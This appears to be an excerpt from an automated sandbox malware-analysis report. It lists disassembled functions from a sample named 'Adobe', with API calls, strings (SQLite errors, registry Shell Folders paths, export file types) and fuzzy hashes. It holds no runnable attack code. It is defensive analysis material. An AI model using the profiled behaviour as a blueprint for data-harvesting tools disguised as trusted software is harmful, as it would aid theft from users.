                                                                                        • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,?,?,?,00409764,?), ref: 0040A686
                                                                                        • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6A4
                                                                                        • wcslen.MSVCRT ref: 0040A6B1
                                                                                        • wcscpy.MSVCRT ref: 0040A6C1
                                                                                        • LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6CB
                                                                                        • wcscpy.MSVCRT ref: 0040A6DB
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                                                                                        • String ID: Unknown Error$netmsg.dll
                                                                                        • API String ID: 2767993716-572158859
                                                                                        • Opcode ID: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                                                                                        • Instruction ID: f30f617898fcbe25dfcd40b25f3134c3ee1324ef56ff669fd92f7ad18b117fee
                                                                                        • Opcode Fuzzy Hash: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                                                                                        • Instruction Fuzzy Hash: 77014772104214BFE7151B61EC46E9F7B3DEF06795F24043AF902B10D0DA7A5E10D69D
                                                                                        Function 0042F5F4 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 250COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • too many attached databases - max %d, xrefs: 0042F64D
                                                                                        • out of memory, xrefs: 0042F865
                                                                                        • database is already attached, xrefs: 0042F721
                                                                                        • attached databases must use the same text encoding as main database, xrefs: 0042F76F
                                                                                        • unable to open database: %s, xrefs: 0042F84E
                                                                                        • database %s is already in use, xrefs: 0042F6C5
                                                                                        • cannot ATTACH database within transaction, xrefs: 0042F663
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpymemset
                                                                                        • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                                                                                        • API String ID: 1297977491-2001300268
                                                                                        • Opcode ID: bc1e043490782c929c709f26cda1c8b0ebc87db0ce4dfb41b9d8c8297906dfd0
                                                                                        • Instruction ID: 2d624c67d108d3170f37657fe85980b6deaf3b4166a4b31ce602698a835437d0
                                                                                        • Opcode Fuzzy Hash: bc1e043490782c929c709f26cda1c8b0ebc87db0ce4dfb41b9d8c8297906dfd0
                                                                                        • Instruction Fuzzy Hash: 4791C131B00315AFDB10DF65E481B9ABBB0AF44318F94807FE8059B252D778E949CB59
                                                                                        Function 0041851E Relevance: 13.6, APIs: 9, Instructions: 67sleepfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DeleteFileW.KERNEL32(00000000,?,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 00418548
                                                                                        • GetFileAttributesW.KERNEL32(00000000), ref: 0041854F
                                                                                        • GetLastError.KERNEL32 ref: 0041855C
                                                                                        • Sleep.KERNEL32(00000064), ref: 00418571
                                                                                        • DeleteFileA.KERNEL32(00000000,?,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 0041857A
                                                                                        • GetFileAttributesA.KERNEL32(00000000), ref: 00418581
                                                                                        • GetLastError.KERNEL32 ref: 0041858E
                                                                                        • Sleep.KERNEL32(00000064), ref: 004185A3
                                                                                        • free.MSVCRT ref: 004185AC
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$AttributesDeleteErrorLastSleep$free
                                                                                        • String ID:
                                                                                        • API String ID: 2802642348-0
                                                                                        • Opcode ID: a77d1a153e4db6e53d86637d525c0b6f23984a2685c1b6acb3711ab2d61cf685
                                                                                        • Instruction ID: d61f765991b085217c17e58d7c3851c8d0f597f546fc635256e60a728691d00d
                                                                                        • Opcode Fuzzy Hash: a77d1a153e4db6e53d86637d525c0b6f23984a2685c1b6acb3711ab2d61cf685
                                                                                        • Instruction Fuzzy Hash: A011C639540624BBC61027716CC89BE3676E75B335B210A2EFA22912D0DF6C4CC2557E
                                                                                        Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                        • wcscpy.MSVCRT ref: 0040D1B5
                                                                                          • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                                                                                          • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                                                                                        • wcslen.MSVCRT ref: 0040D1D3
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                        • LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                        • memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                          • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,0040D142,00402E6F), ref: 0040D0CC
                                                                                          • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040D142,00402E6F), ref: 0040D0EA
                                                                                          • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,0040D142,00402E6F), ref: 0040D108
                                                                                          • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,0040D142,00402E6F), ref: 0040D126
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                                                                                        • String ID: strings
                                                                                        • API String ID: 3166385802-3030018805
                                                                                        • Opcode ID: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                        • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                                                                                        • Opcode Fuzzy Hash: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                        • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                                                                                        Function 0041B7D9 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memcpy.MSVCRT(00000000,00000000,00000000,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B911
                                                                                        • memcpy.MSVCRT(?,00000000,00000000,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B923
                                                                                        • memcpy.MSVCRT(?,-journal,00000008,?,?,?,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B93B
                                                                                        • memcpy.MSVCRT(?,00000000,00000000,?,?,?,?,?,?,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B958
                                                                                        • memcpy.MSVCRT(?,-wal,00000004,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0041B970
                                                                                        • memset.MSVCRT ref: 0041BA3D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy$memset
                                                                                        • String ID: -journal$-wal
                                                                                        • API String ID: 438689982-2894717839
                                                                                        • Opcode ID: dbb6fae49c61f74d6f433767b436fbd9ec9999f6e4b570cef93805d1319e1532
                                                                                        • Instruction ID: 9370885b9bf0560d7aa4477d28ce4586d78acc2621466e64c0ac2b95c9c5353a
                                                                                        • Opcode Fuzzy Hash: dbb6fae49c61f74d6f433767b436fbd9ec9999f6e4b570cef93805d1319e1532
                                                                                        • Instruction Fuzzy Hash: CBA1EFB1A04606EFCB14DF69C8417DAFBB4FF04314F14826EE46897381D738AA95CB99
                                                                                        Function 0044A7C0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 203COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6EB
                                                                                          • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6FB
                                                                                          • Part of subcall function 0044A6E0: memcpy.MSVCRT(?,?,?,00000000,?,?,00000000,?,?,00000000), ref: 0044A75D
                                                                                          • Part of subcall function 0044A6E0: memcpy.MSVCRT(?,?,?,?,?,00000000,?,?,00000000), ref: 0044A7AA
                                                                                        • memcpy.MSVCRT(?,?,00000040), ref: 0044A8BF
                                                                                        • memcpy.MSVCRT(?,?,00000004,00000000), ref: 0044A90C
                                                                                        • memcpy.MSVCRT(?,?,00000040), ref: 0044A988
                                                                                          • Part of subcall function 0044A3F0: memcpy.MSVCRT(?,0044A522,00000040,?,?,?,0044A522,?,?,?,?,0044A93F,?,?,?,00000000), ref: 0044A422
                                                                                          • Part of subcall function 0044A3F0: memcpy.MSVCRT(?,0044A522,00000008,?,?,?,0044A522,?,?,?,?,0044A93F,?,?,?,00000000), ref: 0044A46E
                                                                                        • memcpy.MSVCRT(?,?,00000000), ref: 0044A9D8
                                                                                        • memcpy.MSVCRT(?,?,00000020,?,?,?,?,00000000), ref: 0044AA19
                                                                                        • memcpy.MSVCRT(00000000,?,00000020,?,?,?,?,?,?,?,00000000), ref: 0044AA4A
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy$memset
                                                                                        • String ID: gj
                                                                                        • API String ID: 438689982-4203073231
                                                                                        • Opcode ID: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                                                                                        • Instruction ID: 6893d0ddfb5a5ce8f484e87047b84ef7868cce638272d7e844f470f6f9013d76
                                                                                        • Opcode Fuzzy Hash: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                                                                                        • Instruction Fuzzy Hash: 2E71D6F39083449BE310EF25D84059FB7E9ABD5348F050E2EF88997205E639DA19C797
                                                                                        Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                                                                                        • memset.MSVCRT ref: 00405455
                                                                                        • memset.MSVCRT ref: 0040546C
                                                                                        • memset.MSVCRT ref: 00405483
                                                                                        • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00405498
                                                                                        • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054AD
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$memcpy$ErrorLast
                                                                                        • String ID: 6$\
                                                                                        • API String ID: 404372293-1284684873
                                                                                        • Opcode ID: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                        • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                                                                                        • Opcode Fuzzy Hash: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                        • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                                                                                        Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                                                                                        • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                                                                                        • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                                                                                        • wcscpy.MSVCRT ref: 0040A0D9
                                                                                        • wcscat.MSVCRT ref: 0040A0E6
                                                                                        • wcscat.MSVCRT ref: 0040A0F5
                                                                                        • wcscpy.MSVCRT ref: 0040A107
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                                                                                        • String ID:
                                                                                        • API String ID: 1331804452-0
                                                                                        • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                        • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                                                                                        • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                        • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                                                                                        Function 00404363 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040440C: FreeLibrary.KERNEL32(?,0040436D,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404414
                                                                                          • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                          • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                          • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                          • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                        • String ID: advapi32.dll
                                                                                        • API String ID: 2012295524-4050573280
                                                                                        • Opcode ID: 65f3d33700ac9d510cc5e5eb6f652d35bee5e6265e8d5a0c26d000a27f9b730c
                                                                                        • Instruction ID: 6b6c0a27b71384d3bff991c3c7ca7c9b0301c8735f49a3ee57333cb8f9a5f734
                                                                                        • Opcode Fuzzy Hash: 65f3d33700ac9d510cc5e5eb6f652d35bee5e6265e8d5a0c26d000a27f9b730c
                                                                                        • Instruction Fuzzy Hash: 5F119470440700DDE6307F62EC0AF2777A4DF80714F104A3FE541565E1DBB8A8519AAD
                                                                                        Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • <?xml version="1.0" ?>, xrefs: 0041007C
                                                                                        • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                                                                                        • <%s>, xrefs: 004100A6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$_snwprintf
                                                                                        • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                                                                                        • API String ID: 3473751417-2880344631
                                                                                        • Opcode ID: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                        • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                                                                                        • Opcode Fuzzy Hash: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                        • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                                                                                        Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: wcscat$_snwprintfmemset
                                                                                        • String ID: %2.2X
                                                                                        • API String ID: 2521778956-791839006
                                                                                        • Opcode ID: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                        • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                                                                                        • Opcode Fuzzy Hash: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                        • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                                                                                        Function 0040D5D6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _snwprintfwcscpy
                                                                                        • String ID: dialog_%d$general$menu_%d$strings
                                                                                        • API String ID: 999028693-502967061
                                                                                        • Opcode ID: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                                                                                        • Instruction ID: 4b5f4d23dee208ad245a1fa3262b8d520e9fbefe09054bf07968a47f6ed58b46
                                                                                        • Opcode Fuzzy Hash: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                                                                                        • Instruction Fuzzy Hash: 1AE04FB5E8870035E92519A10C03B2A155086A6B5BF740C2BFD0AB11D2E47F955DA40F
                                                                                        Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                          • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                          • Part of subcall function 00414592: RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                          • Part of subcall function 0040A9CE: free.MSVCRT ref: 0040A9DD
                                                                                        • memset.MSVCRT ref: 0040C439
                                                                                        • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                        • _wcsupr.MSVCRT ref: 0040C481
                                                                                          • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                          • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                          • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                          • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                        • memset.MSVCRT ref: 0040C4D0
                                                                                        • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                        • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                                                                                        • String ID:
                                                                                        • API String ID: 4131475296-0
                                                                                        • Opcode ID: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                        • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                                                                                        • Opcode Fuzzy Hash: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                        • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                                                                                        Function 004116DD Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 82COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004116FF
                                                                                          • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                          • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                          • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                          • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                          • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                          • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                          • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                          • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                          • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                          • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                          • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                          • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                          • Part of subcall function 0040A279: wcscpy.MSVCRT ref: 0040A2DF
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                        • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                                                                                        • API String ID: 2618321458-3614832568
                                                                                        • Opcode ID: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                                                                                        • Instruction ID: 2af34abd3473d77be096866f654b5876edf67c2d942e61680e34910f62553c8c
                                                                                        • Opcode Fuzzy Hash: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                                                                                        • Instruction Fuzzy Hash: 71310DB1D013589BDB10EFA9DC816DDBBB4FB08345F10407BE548BB282DB385A468F99
                                                                                        Function 004185CA Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AttributesFilefreememset
                                                                                        • String ID:
                                                                                        • API String ID: 2507021081-0
                                                                                        • Opcode ID: afcad17dad9998b86119828d1b617f81507b1c6ffb5a90d063004130875e5eff
                                                                                        • Instruction ID: e31a4ad29e7632976921f0390f19c15604a95804a640e9d04457ce0419b5f72c
                                                                                        • Opcode Fuzzy Hash: afcad17dad9998b86119828d1b617f81507b1c6ffb5a90d063004130875e5eff
                                                                                        • Instruction Fuzzy Hash: 1211E632A04115EFDB209FA49DC59FF73A8EB45318B21013FF911E2280DF789D8196AE
                                                                                        Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • AreFileApisANSI.KERNEL32 ref: 004174FC
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                                                                                        • malloc.MSVCRT ref: 00417524
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                                                                                        • free.MSVCRT ref: 00417544
                                                                                        • free.MSVCRT ref: 00417562
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWidefree$ApisFilemalloc
                                                                                        • String ID:
                                                                                        • API String ID: 4131324427-0
                                                                                        • Opcode ID: 5d21432bc65b929392c7d49bf17a02b877e07d349bc8417fbf8b7ee350a515ff
                                                                                        • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                                                                                        • Opcode Fuzzy Hash: 5d21432bc65b929392c7d49bf17a02b877e07d349bc8417fbf8b7ee350a515ff
                                                                                        • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                                                                                        Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetTempPathW.KERNEL32(000000E6,?,?,00417D63), ref: 004181DB
                                                                                        • GetTempPathA.KERNEL32(000000E6,?,?,00417D63), ref: 00418203
                                                                                        • free.MSVCRT ref: 0041822B
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: PathTemp$free
                                                                                        • String ID: %s\etilqs_$etilqs_
                                                                                        • API String ID: 924794160-1420421710
                                                                                        • Opcode ID: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                        • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                                                                                        • Opcode Fuzzy Hash: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                        • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                                                                                        Function 00414770 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • wcscpy.MSVCRT ref: 0041477F
                                                                                        • wcscpy.MSVCRT ref: 0041479A
